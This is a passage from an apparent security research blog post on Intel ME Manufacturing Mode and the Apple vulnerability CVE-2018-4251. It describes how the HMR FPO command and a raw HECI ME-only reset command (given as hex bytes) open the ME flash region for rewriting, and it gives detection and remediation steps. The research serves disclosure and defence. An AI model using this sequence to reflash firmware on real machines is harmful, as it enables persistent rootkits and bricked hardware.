impossible to read or write to ME from the CPU \(main system\) side. However,
current SPI controllers for Intel chipsets have a special mechanism called
Master Grant. This mechanism assigns a strictly defined portion of SPI flash
to each SPI master. A master controls its particular region, regardless of the
access rights indicated in the SPI descriptor. Each master can provide access
\(read or write\) for its region \(but only its own region\!\) to any other
master it wishes.  
  
<img src='img/Untitled2.png' width='562' height='640' />  
---  
|  Figure 5. Excerpt from Intel documentation describing SPI Master Grant  
What this means is that even if the SPI descriptor forbids host access to an
SPI region of ME, it is possible for ME to still provide access. In our view,
this change was likely intended to enable updating Intel ME in a way that
bypasses the standard process.  
  

##  Host ME Region Flash Protection Override

Intel ME implements a special HECI command that allows opening write access to
ME SPI region on the CPU side. The command is called HMR FPO \(Host ME Region
Flash Protection Override\). We have detailed this command at length
previously \[5\]. There are some things worth knowing about it.  
  
After receiving the HMR FPO command, Intel ME opens access to the region
**only after** a reset. Intel МЕ itself also includes security measures: the
command is accepted only when the UEFI BIOS is owner of the platform boot
process, prior to End Of Post \(EOP\). EOP is a different HECI command that
sends the UEFI to ME before handing off control to the operating system
\(ExitBootServices\). Sometimes, BIOS Setup contains an option for sending the
HMRFPO command prior to EOP.  
  
<img src='img/me7.png' width='640' height='360' />  
---  
Figure 6. Opening the ME region in the BIOS  
After receiving EOP, Intel ME ignores HMR FPO and returns the corresponding
error status. **But this occurs only after Manufacturing Mode has been
closed**. Therefore, in Manufacturing Mode, Intel ME accepts HMR FPO **at any
time, regardless of the presence \(or absence\) of End Of Post**. If the
manufacturer has failed to close Manufacturing Mode, an attacker can alter
Intel ME at any time \(of course, administrator rights are needed, but even
the OS kernel initially cannot re-flash Intel ME\). At this stage, the
attacker can re-flash the ME image, such as to exploit vulnerability INTEL-
SA-00086. A reset is then needed to run the modified firmware, but this is no
problem on nearly any platform, with the exception of the Apple MacBook.
Apple's computers contain an additional check in the UEFI, which runs when the
UEFI is launched and blocks startup of the system if the ME region has been
opened with HMRFPO. However, as we will show here, this mechanism can be
easily bypassed if Intel ME is in Manufacturing Mode.  
  

##  Resetting ME without resetting the main CPU

Today's computers can be restarted in several different ways: the documented
versions include a global reset and reset of the main CPU only \(without
resetting ME\). But, if there is a way to reset ME **without** resetting the
main CPU \(by running the HMRFPO command in advance as well\), access to the
region opens up and the main system continues to function.  
  
<img src='img/Untitled3.png' width='536' height='640' />  
---  
Figure 7. Reset types  
  

Having investigated the internal ME modules, we discovered that there is a
HECI command \("80 06 00 07 00 00 0b 00 00 00 03 00", see more about sending
commands in \[5\]\) for a reset of only \(\!\!\!\) Intel ME. In Manufacturing
Mode, this command can be sent at any time, even after EOP:  
  
<img src='img/me8.png' width='640' height='520' />  
---  
Figure 8. Disassembler listing for the function responsible for handling HECI
ME reset commands  
**Therefore, an attacker who sends these two HECI commands opens the ME region
and can write arbitrary data there, without having to reset the platform as a
whole**. And it doesn't even matter what the SPI descriptor contains—correctly
set protection attributes for SPI regions will not protect ME from
modifications if the system is running in Manufacturing Mode.  
  

##  Exploitation case: vulnerability CVE-2018-4251

We analyzed several platforms from a number of manufacturers, including Lenovo
and Apple MacBook Prо laptops. The Yoga and ThinkPad computers we examined did
NOT have any issues related to Manufacturing Mode. But we found that **Apple
laptops on Intel chipsets are running in Manufacturing Mode**. After this
information was reported to Apple, the vulnerability \(CVE-2018-4251\) was
patched in macOS High Sierra update 10.13.5.  
  

##  Local exploitation of INTEL-SA-00086

By exploiting CVE-2018-4251, an attacker could write old versions of Intel ME
\(such as versions containing vulnerability INTEL-SA-00086\) to memory without
needing an SPI programmer or access to the HDA\_SDO bridge—in other words,
without physical access to the computer. Thus, a local vector is possible for
exploitation of INTEL-SA-00086, which enables running arbitrary code in ME.  
Notably, in the notes for the INTEL-SA-00086 security bulletin, Intel does not
mention enabled Manufacturing Mode as a method for local exploitation in the
absence of physical access. Instead, the company incorrectly claims that local
exploitation is possible only if access settings for SPI regions have been
misconfigured. So to keep users safe, we decided to describe how to check the
status of Manufacturing Mode and how to disable it.  
  

##  What can users do?

Intel System Tools includes MEInfo \(and, for mobile and server platforms
respectively, TXEInfo and SPSInfo\) in order to allow obtaining thorough
diagnostic information about the current state of ME and the platform overall.
We demonstrated this utility in previous research about the undocumented HAP
\(High Assurance Platform\) mode and how to disable ME \[6\]. The utility,
when called with the -FWSTS flag, displays a detailed description of status
HECI registers and the current status of Manufacturing Mode \(when the fourth
bit of the FWSTS status register is set, Manufacturing Mode is active\).  
  
<img src='img/me9.png' width='640' height='334' />  
---  
Figure 9. Example of MEInfo output  
We also created a program \[7\] for checking the status of Manufacturing Mode
if the user for whatever reason does not have access to Intel ME System Tools.
Here is what the script shows on affected systems:  
  
<img src='img/me10.png' width='640' height='308' />  
---  
Figure 10. mmdetect script  
So one logical question is, how can users close Manufacturing Mode themselves
if the manufacturer has failed to do so? To disable Manufacturing Mode, FPT
has a special option \(-CLOSEMNF\) that in addition to its main purpose also
allows setting the recommended access rights for SPI flash regions in the
descriptor.  
  
Here is what happens when we enter -CLOSEMNF:  
  
<img src='img/me11.png' width='640' height='334' />  
---  
Figure 11. Process of closing Manufacturing Mode with FPT  
  
In this example, we used the NO parameter for -CLOSEMNF to avoid resetting the
platform, as would otherwise happen by default immediately after closing
Manufacturing Mode.  
  

##  Conclusion

Our research shows that Intel ME has a Manufacturing Mode problem, and that
even giant manufacturers such as Apple are not immune to configuration
mistakes on Intel platforms. Worse still, there is no public information on
the topic, leaving end users in the dark about weaknesses that could result in
data theft, persistent irremovable rootkits, and even "bricking" of hardware.  
We also suspect that the ability to reset ME without resetting the main CPU
may lead to yet additional security issues, due to the states of the BIOS/UEFI
and ME falling out of sync.  
  
\[1\] Intel Management Engine Critical Firmware Update, Intel-SA-00086  
\[2\] GitHub - chipsec/chipsec: Platform Security Assessment Framework  
\[4\] Fast, secure and flexible OpenSource firmware, Coreboot  
\[5\] Mark Ermolov, Maxim Goryachy, How to Become the Sole Owner of Your PC,
PHDays VI, 2016  
\[6\] Mark Ermolov, Maxim Goryachy, Disabling Intel ME 11 via undocumented
mode, Positive Technologies blog  
\[7\] Intel ME Manufacturing Mode Detection Tools  
\[8\] Safeguarding rootkits: Intel BootGuard, Alexander Ermolov  
\[9\] Dmitry Sklyarov. Intel ME: Flash File System. Explained  
  
**Authors** : Maxim Goryachy, Mark Ermolov

Author  Positive Research at 4:51 AM <img src='img/5785_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

<img
src='data:image/svg+xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%20standalone%3D%22no%22%3F%3E%0A%3C!--%20Created%20with%20Inkscape%20(http%3A%2F%2Fwww.inkscape.org%2F)%20--%3E%0A%0A%3Csvg%0A%20%20%20xmlns%3Adc%3D%22http%3A%2F%2Fpurl.org%2Fdc%2Felements%2F1.1%2F%22%0A%20%20%20xmlns%3Acc%3D%22http%3A%2F%2Fcreativecommons.org%2Fns%23%22%0A%20%20%20xmlns%3Ardf%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2F02%2F22-rdf-
syntax-
ns%23%22%0A%20%20%20xmlns%3Asvg%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0A%20%20%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0A%20%20%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%0A%20%20%20xmlns%3Asodipodi%3D%22http%3A%2F%2Fsodipodi.sourceforge.net%2FDTD%2Fsodipodi-0.dtd%22%0A%20%20%20xmlns%3Ainkscape%3D%22http%3A%2F%2Fwww.inkscape.org%2Fnamespaces%2Finkscape%22%0A%20%20%20width%3D%2241%22%0A%20%20%20height%3D%2229%22%0A%20%20%20id%3D%22svg2%22%0A%20%20%20version%3D%221.1%22%0A%20%20%20inkscape%3Aversion%3D%220.91%20r13725%22%0A%20%20%20sodipodi%3Adocname%3D%22GooglePlus.svg%22%3E%0A%20%20%3Cdefs%0A%20%20%20%20%20id%3D%22defs4%22%3E%0A%20%20%20%20%3ClinearGradient%0A%20%20%20%20%20%20%20id%3D%22linearGradient3785%22%3E%0A%20%20%20%20%20%20%3Cstop%0A%20%20%20%20%20%20%20%20%20style%3D%22stop-
color%3A%23fefefe%3Bstop-
opacity%3A1%3B%22%0A%20%20%20%20%20%20%20%20%20offset%3D%220%22%0A%20%20%20%20%20%20%20%20%20id%3D%22stop3787%22%20%2F%3E%0A%20%20%20%20%20%20%3Cstop%0A%20%20%20%20%20%20%20%20%20style%3D%22stop-
color%3A%23ececec%3Bstop-
opacity%3A1%3B%22%0A%20%20%20%20%20%20%20%20%20offset%3D%221%22%0A%20%20%20%20%20%20%20%20%20id%3D%22stop3789%22%20%2F%3E%0A%20%20%20%20%3C%2FlinearGradient%3E%0A%20%20%3C%2Fdefs%3E%0A%20%20%3Csodipodi%3Anamedview%0A%20%20%20%20%20id%3D%22base%22%0A%20%20%20%20%20pagecolor%3D%22%23ffffff%22%0A%20%20%20%20%20bordercolor%3D%22%23666666%22%0A%20%20%20%20%20borderopacity%3D%221.0%22%0A%20%20%20%20%20inkscape%3Apageopacity%3D%220.0%22%0A%20%20%20%20%20inkscape%3Apageshadow%3D%222%22%0A%20%20%20%20%20inkscape%3Azoom%3D%2211.313708%22%0A%20%20%20%20%20inkscape%3Acx%3D%2213.673937%22%0A%20%20%20%20%20inkscape%3Acy%3D%2222.078851%22%0A%20%20%20%20%20inkscape%3Adocument-
units%3D%22px%22%0A%20%20%20%20%20inkscape%3Acurrent-
layer%3D%22layer2%22%0A%20%20%20%20%20showgrid%3D%22false%22%0A%20%20%20%20%20fit-
margin-top%3D%220%22%0A%20%20%20%20%20fit-margin-
left%3D%220%22%0A%20%20%20%20%20fit-margin-
right%3D%220%22%0A%20%20%20%20%20fit-margin-
bottom%3D%220%22%0A%20%20%20%20%20inkscape%3Awindow-
width%3D%221344%22%0A%20%20%20%20%20inkscape%3Awindow-
height%3D%22837%22%0A%20%20%20%20%20inkscape%3Awindow-x%3D%220%22%0A%20%20%20%20%20inkscape%3Awindow-y%3D%2230%22%0A%20%20%20%20%20inkscape%3Awindow-
maximized%3D%220%22%20%2F%3E%0A%20%20%3Cmetadata%0A%20%20%20%20%20id%3D%22metadata7%22%3E%0A%20%20%20%20%3Crdf%3ARDF%3E%0A%20%20%20%20%20%20%3Ccc%3AWork%0A%20%20%20%20%20%20%20%20%20rdf%3Aabout%3D%22%22%3E%0A%20%20%20%20%20%20%20%20%3Cdc%3Aformat%3Eimage%2Fsvg%2Bxml%3C%2Fdc%3Aformat%3E%0A%20%20%20%20%20%20%20%20%3Cdc%3Atype%0A%20%20%20%20%20%20%20%20%20%20%20rdf%3Aresource%3D%22http%3A%2F%2Fpurl.org%2Fdc%2Fdcmitype%2FStillImage%22%20%2F%3E%0A%20%20%20%20%20%20%20%20%3Cdc%3Atitle%3E%3C%2Fdc%3Atitle%3E%0A%20%20%20%20%20%20%3C%2Fcc%3AWork%3E%0A%20%20%20%20%3C%2Frdf%3ARDF%3E%0A%20%20%3C%2Fmetadata%3E%0A%20%20%3Cg%0A%20%20%20%20%20inkscape%3Agroupmode%3D%22layer%22%0A%20%20%20%20%20id%3D%22layer2%22%0A%20%20%20%20%20inkscape%3Alabel%3D%22Layer%202%22%0A%20%20%20%20%20transform%3D%22translate(0%2C5)%22%3E%0A%20%20%20%20%3Crect%0A%20%20%20%20%20%20%20style%3D%22fill%3A%23ffffff%3Bstroke%3A%23ffffff%3Bstroke-
width%3A0.9432714%3Bstroke-
opacity%3A1%22%0A%20%20%20%20%20%20%20id%3D%22rect4236%22%0A%20%20%20%20%20%20%20width%3D%2237.268227%22%0A%20%20%20%20%20%20%20height%3D%2222.959826%22%0A%20%20%20%20%20%20%20x%3D%220.67874247%22%0A%20%20%20%20%20%20%20y%3D%22-4.4010239%22%0A%20%20%20%20%20%20%20rx%3D%220.78051859%22%0A%20%20%20%20%20%20%20ry%3D%222.2683611%22%20%2F%3E%0A%20%20%3C%2Fg%3E%0A%20%20%3Cg%0A%20%20%20%20%20inkscape%3Alabel%3D%22Layer%201%22%0A%20%20%20%20%20inkscape%3Agroupmode%3D%22layer%22%0A%20%20%20%20%20id%3D%22layer1%22%0A%20%20%20%20%20transform%3D%22translate(-0.64200988%2C-11.029299)%22%3E%0A%20%20%20%20%3Cimage%0A%20%20%20%20%20%20%20y%3D%2224.81065%22%0A%20%20%20%20%20%20%20x%3D%2224.759691%22%0A%20%20%20%20%20%20%20id%3D%22image3002%22%0A%20%20%20%20%20%20%20xlink%3Ahref%3D%22data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAKoAAACqCAYAAAA9dtSCAAAABHNCSVQICAgIfAhkiAAAIABJREFU%20eJztnXl4E9Xex7%2BzJE2TbqQLBGiBIrQFikUWsSxWKSIoFMSFRa6yiYoXFMUFxKuooKIICq8ioiJC%20uQIioCDWAlcB2ZRVoBVQCrR0oXRvtpnz%2FpFm2mmWJmmWUefzPHkeOJmZnGS%2BPXPObzuAjIyMjIyM%20jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjJehAt0BV%2BDLLhPjyqGAWR%2Forvx9YFVQTt0BOqLt%20X0IDdKA74Arm3W%2FJIvU2Zr3ld%2F2LIHmhcnmHCH92R6C78beEP7sDXN4hEuh%2BuAIb6A44g%2BfMxPTp%20yEB342%2BN%2Bfv54DkzoRlW0lMAaQv12HqQ4hxRG7uxEMxvVQHq0V8frmsIzPe2FP5PinPAH1sfwB65%20hmSFSmrLiHHFYFEbdVkP5peKAPXo7wHzSwW4vuEgbVVCG%2FfTUpDaMkIFR0h2VJXsHNX803sgtWWi%20NnZbcYB68%2Fei8e9Iastg%2Fum9APXGNSQpVL44l3C%2FrhO1MYfKQefJK39vQOfpwRwqF7Vxv64DX5wr%202YWVJIVq%2Fn4%2BQLj6BgMPJuta4Dr0N4TJugYY%2BPoGwll%2Bd4kiOaFyOTsJn3dQ1MZmXQNVxTk4Q8YT%20qCoObKM%2Ffj7vILicnZIcVSUlVGKqJebsN0RtVJERzIFyB2fINAfmQDmoIqOozZz9BoipVnJilZRQ%20uUOfgJRfFrWxO0oATnK%2F298Djlh%2B3waQ8svgDn0SoA45RjJC5csuE%2FP%2BD0VtdG4N6LPVAerRPwP6%20bDXo3BpRm3n%2Fh%2BDLLktqdJCMUG38%2BRyRzVF%2Bgt1WLH5qSTAOQBJCtefPZ%2FaXgSoxOjhDxptQJUYw%20%2B8U2a6nFAQRcqDxnJo3NIlQVB3ZXaYB69M%2BE3VVqY1mxxgEEqEsiAi9UO%2F585rsSQM87OEPGJ%2Bh5%20y%2B%2FeACnFAQRUqKS2jHA%2FLRW1yf78wMH8UgHqstj7Z40DCFCXBAIqVNmfLz2kGgcQMKHa9ecfrZT9%20%2BQGGztODOVopapNCHEDAhGrXn79dHk2lALO9WHJxAAERquzPlzZSjAPwu1Blf%2F5fA6nFAfhdqLI%2F%20%2Fy%2BCxOIA%2FCpU2Z%2F%2F10JKcQB%2BFarsz%2F%2FrIZU4AL8l93F5h4hp7XhRmxT8%2BSRKCT5BDb59MEgEC6gZ%20yxtmAqrMDPpiLegz1aAKDAHtZ6CwxgFwA1oIbdY4ACauj9%2BSAf0iVMJzxPhJhqgt0P58PlED8yCt%20KBuzMSRGCb6zGhgcCeqyHmx26T9ymsLuKgXfIwwkhBHazN%2FPB%2BE5QtGMX8TqF6FyRzOl489X0TCN%20bgm%2BW4ioOafYiFNXjSip5lBt5BGtYZAQo0SP1kFQMBRIWxVMD7UGc6gc7Nbif9biry4OoHE9AO5o%20pt%2B64HOhSik%2Fn4SzME1qAxKjBAAUVXH48OcyfHigAqU1ZrvnaNUsxqaE4LnbtIgJYcD1CQeJUEDx%20ef4%2FSqyBrgfg88WUZPz5Klok0jW%2FVKDzW39iwa5ShyIFgNIaM5bvL0PKu3nIPmdZAfOd1TCNaeWX%20bkuJQMYB%2BFSoUvLnm4dGCSJd%2FON1TN1YCL3J9alHaY0Zd626gk0nLeWE%2BG4h4PpF%2BKSvUiWQcQA%2B%20ffRLxZ9PdEHg%2BoQDADadrMKcRoZsd5i8oRDdWimREK2EeXAk6OOV0nX9MhT4NkEgsSqQcBYIYUEU%20FCgTAUw8qCIjqGsmUJf1Ln8HZnsxuC4aIKhujPNTHIDPhMrl7CSmr54Qf1iA%2FPlcX4tITRzBC99d%20b9a19CYes7YV49tJbYAgGtzAFmC3ey58X8AnasD1DAOfoAEUrk0fqct6MGeqLSkpTha51jgA893R%209Z9XFwfAJAzx2VzVJ0IlplpiXDlM1EaVmgLmz%2Be7WFb4W09XI6%2FU8bRDq2YRomJRVGl0Oi3I%2Fr0G%202edqMOgGNfgeYYBEhEp0QTDdE2PX5FZUxeF6LYdyPQ%2B1gkKYioEulIGizrpE2qpgbquCOU0Ldk8p%20mP9dd7hYZA6Ug0uNANEqhDZrHAClCPaJWH0iVLv%2B%2FMYeDj9BopSC%2FW%2BHAxvouPQU%2FGfxSnRO7gUA%20MBqNyFz2Gh59%2FnWHgs08WolBN6hBQhhwPcNAVXMgkQogiLY8ZhU0iJ3RjKrhAAMPqtxseeyWmy3B%20H838bbh%2BETAPjQLqhFdUxeGLXyuQfa4GR68Y7S4YVQoa3WIjcHMrHg%2BkhKJPrApQUDAPjgSXpIFi%20db79J2CdR9H0UGuhyddxAF5XP19x1WKOauAqpXNroPj0irc%2FyrX%2BxKlgeiwWAHDXJ1eQ%2FbvYdz1z%20TDqWZGbZPXfjijdw36Mv2H1Pq2ZxcU57YURqFhwBVWAAnW8AlacHfa4GVLljS4QIhoJ5dEtwPUIB%20AJUGHu%2F%2BeB2Lfypza7EIAEk6DVaM0loEC0tUm%2FKDSw6nAqaJbSwOESusCsppWaDDWnldV16%2FoHHz%20DHHqM0egXJIXMFcpn6gR%2FvJ7vJePMwXiUbWkqBCR0TEOz%2B%2FdMRJHLtj3oB2f1Q4J0UpRW6WBx%2FVa%20HhV6DjUmgsoGAcihQTTCVTRaBDOIaeDlsQdVZARzvNK5%2B5ahYPpXa0Esp64acM%2BaIqfTG1dYMDQK%20swZaXKbM0UqwX161exyJUsL4ZJwwigMAnTgUylHveV1XXn30S9GfT5WYhH%2F31DE4U1D%2FnkpBOxUp%20ADwweiSOLLL%2FSPuobs59ttiI%2FCoKf5TUujyKqRQ0YkKV6NmaRVKMEl1bBWFAh2BBwCTGYlWwum%2BZ%20Y5UWJ4l1dGMomMa0EkSafa4Goz8vcHsUtcecHSVo10KB0ckh4HqEgj5QZtek6M84AK9djPAcMX52%20D0jh6fqLV3FQvvNnwFOfjXPjQUIYbDpZhfHrCkTvnTqyF1179nN47p6t63BbxniH77uDK4u1JJ0G%20t3dQYFiSBgM7BIunFgYezKFyMPvKwA2JEh733hRpw77mPNsOoUG001EVKhrGp9uL4gColl2gfPgr%20eDMOwGsGf%2B74BpFIAenk59OnLUb6EV00SNJpRO8tfdX%2BHJTjOOzI%2FAgr318kak%2FSaTAuPQVTMwa4%209NkqBY2pGQPww6bVKKrQ4%2BK1WtQaOeRfysMPm1Zj0exJGJeegjitZV54pqAay%2FeX4a5VV9BuwZ94%20elsxTl2te%2FQH0eAGtIDx%2BQ4%2BFSlgcXCsqzPuc91DAJUDqdirB1B4GtzxDV7tj1cUb%2FXnN3SVUpf1%20UC6%2F5I3LN5uGc6nsczW4a5V4YffT9i%2FRf%2Bh9AIDfftmHlW%2B%2FjDVb96C0xow4rQr9b0rEqHsfwOD7%20piBcG4UdmR%2FhwSnTnbpe47QqPP3YQ5g4%2Bw2EhrvmwbqY%2BxuyNq3G1m%2B%2BQdbhHJH4esVr8VTfIIxO%20rg%2BmOXXVgDtW5jvtR3MY1EltsRcDUKzOdxo5ZpweKzKLUcERUE7LgqT2BTB9P5%2FoF3YSvbg4FSGA%20ZF6mYVFC3%2BbcriUAhJdWzZLP3plH0pJjhf%2BPS08hP2xaTXjOTBry2TvzROc2fsVpVWTlgtnEbBaf%205y5l14rJygWzSa94cV%2BTdBqydpyO5M2NJ3FaldO%2BNPx%2B49JTyPKXZ5CVC2aTOZMzbK5r76VS0MJv%20Zu4X4fT35eJUNhowfT9fOlE7fHEu0b%2BRKO7g%2Fa0CLkybF0MRw%2Bz2Qh8fvCnM5sb0iteSlQtmk6qq%20CrviWTR7klMxLJo9iRgMhmYJ1B5H%2FvcdGZeeYiMiR31p%2BJo5Jp2UXSu2uSbP806%2Fj%2FVV%2FHJHyz0d%20FtX0YHB%2FK7FY30gk3ooDaPYc1Zy9EDb%2B%2FJ3S8NQIMBTMQyJFnpRH%2BoZDpbB8%2FbTkWOzeshaHz1%2FD%20lBfegkYTKjqdEIK5U0ZitoPV%2F7j0FJw8k4Nn3loFpVJp95jm0HPgEKzNOoqcE4cxLj0FAJqck2rV%20LHZvWYslmVkI10bZvE9RFJ55axWGpya51AfKhbUGs7PEth5A9kKXrt8UzRIql7OT8H%2FsFbWxP153%203VjtB0iUEsZH2womlKIqDlM2FGLg%2F11Ct9gI7N6yFrtP5CFtxDj75xOCaaNuxYJVW2zei9OqsPO%2F%20K7E26yhax8X79HsAQOfkXlibdRQ%2F%2F7AFveK1Do9L0mlw9MQph9%2BpIa2ibUVsRatmEWoNPjE0LVSq%203Az2R3EsBf%2FHXq%2FUA%2FBYqHbz80tNFh%2BxROATNTA%2BUT%2FJzz5Xg%2F4f5GPjySosmj0JB3KLmryZ00bd%20ipVbfrJpn5oxAKcuFOCO%2B6f4pO%2FO6DtoBA7kFmHR7EnCU8FKkk6D%2Fx05g7iOCU1ep7K8DDt%2FOuzw%20%2FVvjGyyOLrnmRGD%2Bdx1UqUnU5o16AB4b%2FKXkz7cH1zMM5lExFsM4R7BwVykW7CpFnFaFAz9m48a%2B%20aU1eY%2B6UkTYi1apZrF6xBHc%2FON1rfa2ursTh7G04ffQgcs%2BeRnFJCSprDHj1nf9z2E%2BGYfDMW6tw%202933455RIwVvVP8%2BNyFK17bJz6wsL8OIAd2derHu7V43BTLwoK%2B4mNwYgDgAh%2FAVV4l%2BUbJo4myc%202CbwC6a6l7lfhNCv4pc7kkGd1AQASUuOJUVX811awNhbaKQlx5IrF897ZYF05eJ5smj2JJKWHGt3%20YbRo9iSXr1VRdp0MT00Szh2XnuJ0UbdtzTKSpNM4XUQl6TSk8rUbLAupUTFu3wPjxDbihdWiZMJX%20XPXvKGbcOkvcidduIHyUMuACbSzS3Oc6CDckLTnW4Wq%2BMRs%2BXGhz4%2BZMzmi2yYnnebJtzTKRqOy9%200pJj3b622WwmUzMGCNcYnpok6u%2FFc2fJ0rnTXDZL%2Ffh4bP29DWfdvg98lJLo64QuDGZbZ3ksVLeN%20sXb9%2BT9dl0TwMNczTMiUzCszI31lAfJK9egVr8WeE3%2FarObt8cuPO9E%2FfZiwqvbGo57wHD5f8gre%20fHuxTVCMPY787zsk970Nl86fQcGfuTDU1uJ6cT7CWkRBHRqOFjGt0T6xu13rxItTRwkLv%2BGpSWgV%20HYW9h361%2B7lJOo3d9rXjdIJjgc26BsbDtHbzsChRHAAAKMavhSdxAG6dIGV%2FPp%2BogelBHcBQKKri%200P%2BDfOSV6qFS0Dj%2By0Eh1tQZ14qLcFNiO2HelqTTYMO2nU5jAZrimy%2BW45X%2FvOQwAssejgTUmDit%20CvFtonFj1wSk3zUSt436FzSaUDw5djCWrv%2BhyfNX3tsSt3ZU47PD5fjwgCUreM3Ylhh0gyXQhc6t%20aV62rRfjANw62Hx0PTF%2FN0%2FUxm4sDHgpcxLOwvhUOyCIRqWBx8AVV4UbvfzlGXj8P0ubuIJlNMro%203xXb9p8BYLGtfr3nV7s2SFc4f%2BY4npoyVrieP1ApaAzunYBHHpuOzNUfY90Px5wePz01Au8Mt6SU%20mDgCvZkI5ig6twaKzIJmD0ANn3JW2DtfBdtjjG%2BESmrLiPGjO0Fq6utmSsKfz1AwPtpWMEE1DI5O%20S47FruMXQVFNf823n50sGPTHpafg028PemS85zgO777wCOYt%2BczrgSLuEKdV2V3Rx2lV6BRJIzFa%20iWFJGmH0bIi3i2zYxAGoI6F85Du34gBcNk%2BZf3pPJFJAGvX2zUMihR9hftY1UQT%2Fko8%2Bd0mkB7K3%20Yt6SzyzXmD4GL76%2FzqXzGpN78gjGjxzi1mPeVzQWaa94Lb4aG%2BEwYJsqNQE1HNhtxV5PZ2e3FQtZ%20FgBAaq65XQ%2FAJYO%2FlPLzG8LHqcClWiKTss%2FVYEGDSf%2FUjAEu2Uory8vwwP0PQG%2Fi8dk78zBvWaZH%20Iv144bO4sefNkhCpPY5cKMXJq2JbKFVqAn2qyrIY%2Fu9VKJdf8sk99UY9AJdGVEn68%2BtyhcBQqDTw%20eGxz%2FWivVbNYuHKjS5d5%2BqERKKo0YvMnizFy4lNud6O6uhKPjBzY5HxQCjyzvQxHZ1ge9cyhcrCb%20i%2Fz22czOEtt6AG7EATQ5okrVn8%2F1DRcqn7z8%2FTXRo%2B7Jifc2mWICADsyP8KmrJ%2FxzfpPPRLp%2BTPH%200buT7i8hUsASlG2t9ML1CHMcDO0DmhsH4LSnxGyQpj9fRYNLswRlnLpqwPIG%2B3hq1SyefP2DJi9R%20WV6Gp5%2BehW%2B3bsKge%2F7l9Fij0Tbna%2B%2BODejTq5dLZiQp8e6Buse%2FggLXM8yvn%2B0wDsBsaFKsToXK%20HfxYkv58LjVCsM0918jR0DI8CCMGdEeX1iHYu8NxOsSSuY%2FhkzXr0HfQCKeftWfrOky862ZR2%2BrF%20L2FwxhifRdb7kiMXSoXUFuv83m%2FYqTBOyi%2BDO%2Fhxk6c6FCpfcVWS9fZJCANzXSpv9rkamzz9MwXV%202HPyEnp07SSklzQmNycHw%2B5%2FuEmR7sj8CEPvnYDv9p8Cx1nm6K8%2BMRYPP%2F1qQE1PzeXTwxa7N9Eq%20wMc5LmTsCxzuC9BEHIBDoZr3SLPePjewhTAh%2F8%2FuWrvHaNUsFq3a5PAaHW%2B4AT0HDnH6OdlffY57%20HnoMehOP0hozTh3%2BCU%2BOHYyXlktjE9vmsO1s%2FX0lsf4VKuBgX4A9zvcFsLvql2J%2BPgCQKKXIHOXI%20FPTmi085DWRmGOfFHw5kb8XdYyaKRs2x99ztdD46PDUJwybMQLt27dC6dWtUV1fjxIkT2LZtK3Zl%207ZTUCJxXqkdemRlxESz49sFg9pU1fZIXsVsP4LdtTusB2DRK2Z9vLSFj4gj6LC%2BwKxx3vFH2OH5g%20D24fNNjl%2BWdyty548623MXToUIfH5Obk4KlZT2H79h0Oj%2FE31sATqtQE5aI%2F%2Fd8BN%2BMAbEZUqebn%2084kaoSrIJ4cr7IpUq2axenOWxyLNz7uAEXcNdVmkw4YNxfp165pMh%2B6ckIBvv92OJ5%2BciaVLvVOh%20OU6rwo2JHdAqOgrRURYLSHV1NS7kXcG5P%2FKatEbs%2F7MWo5NDLHlkDOX%2FBbK9fQGc1AMQCZXXVxKT%20ROrti1DRFuM%2BLDlPr2TZf%2BSvWPyqSykY9qiurkTGbb1drtuU3K2LjUg5jsOGL%2F%2BLAwcPIjExCRMm%20jBeF4i1ZshS%2F%2F%2F67xyNrr3gtHhg9EvdNmYV2nbs6PfZacRE2f%2Fw21maux56TtvEY%2BRX1f4ykhSIg%200zq7%2BwL8uAS8vpLQqlDHo41U8%2FNNo2KE%2FozqFmI32HdqxoBmBTQ3Tkdu6rV9%2B3bRNTLXrSUx0VGi%20Y7RqlnzwwQei4%2FIv5bmc6mx9pSXHku3rVnj8%2FY79vNsmWLtXvFYS99jVegDCql%2By%2FvxEjais%2BeZT%20VTbH9IrXYtmXTcdfOuK1f49zy7uU3K2LaE66Y8cOTHxoAoqKxTZdVhOB0aPE%2B2vp2sZi2uPiStzO%20GJ6ahOnTH4dBX40D2VtRcNn9aLUb%2B6Zh677T%2BGHTaqF0UHVtvd%2Bf7xu4vQjcjgMwrp8oVvZ8z1IQ%20vPniw1miryuAkDc3nmjVrM1oo1Wz5OK5sx6PNps%2FWezW6AaAzJw5Q3SN5G5dbI5RKWiyb98%2Bu5%2B5%20fft2tz%2Bz8XdOS44ly1%2Be4XYOlzW%2FSpRu4mKBCZ%2Fe5%2FmN0lbWTxQJlQYc%2BPP3lAbWn89Qloj9Opvp%20xC%2Bv2ixyVAoaWzau83heeiB7K8ZOe8bt8xIT64s2FBcW4OSp0zbHTHv8CaSmpto9v2N882oAlNaY%20sefkJUx%2F%2BT20adcR4wf3wPkzx106NzQ8Aht3H8Pg3gm4Y%2BWVei%2FVgBZ%2Bd6laocrNYPeI1x2N4wBo%20qfrzzaNbOowztbLm%2Fdcdep%2BaIvfkEdw1YrRH9s127doJ%2F86%2Faj8C6cLhLDz55Eysz1yHHTt2oLiw%20vtxlpLaF3XNcRatm0Stei7TkWKQlxyL3Qh6GD%2BqH1Ytfcul8pVKJjbuPoW9iG9yxMh9FdeXPzRkx%20ILqgZvXNU5qKA2Cl6M%2FnbteKyiousJNctmj2JNw77XmPrp978ggGpw3w2Fd%2F8eJF4d%2FtY9vYPWbb%20%2FjPA%2FjOwJsFs374dQ4fqAADXSt0fBIanJmH06Hsx%2BN6HHTozKsvLQHgOFO3coQFYxPr1nl9xS7f2%20uCezDLsnaaFQWIoDK9%2FL8%2F%2F9d1QPoC4OgOaOrBEdT1VxAfXncz3DLJWWYdmfdEJmoc0x86ePwTNv%20rfLo%2BlaRNqd8%2BNmz9XlQ4dooDBvm2NgPADHRURg0aJDw%2F19%2F%2FcXlzxqemoScE4exdd9pPDRrvlOP%20W2h4hEsitRKujcKGbTtx6lIZnq8L7iExSpiHRLp8DW9Cn6222dzCqk%2Ba6TVB9AYJYcAniovd%2Bgs%2B%20USMYgIuqOAz%2F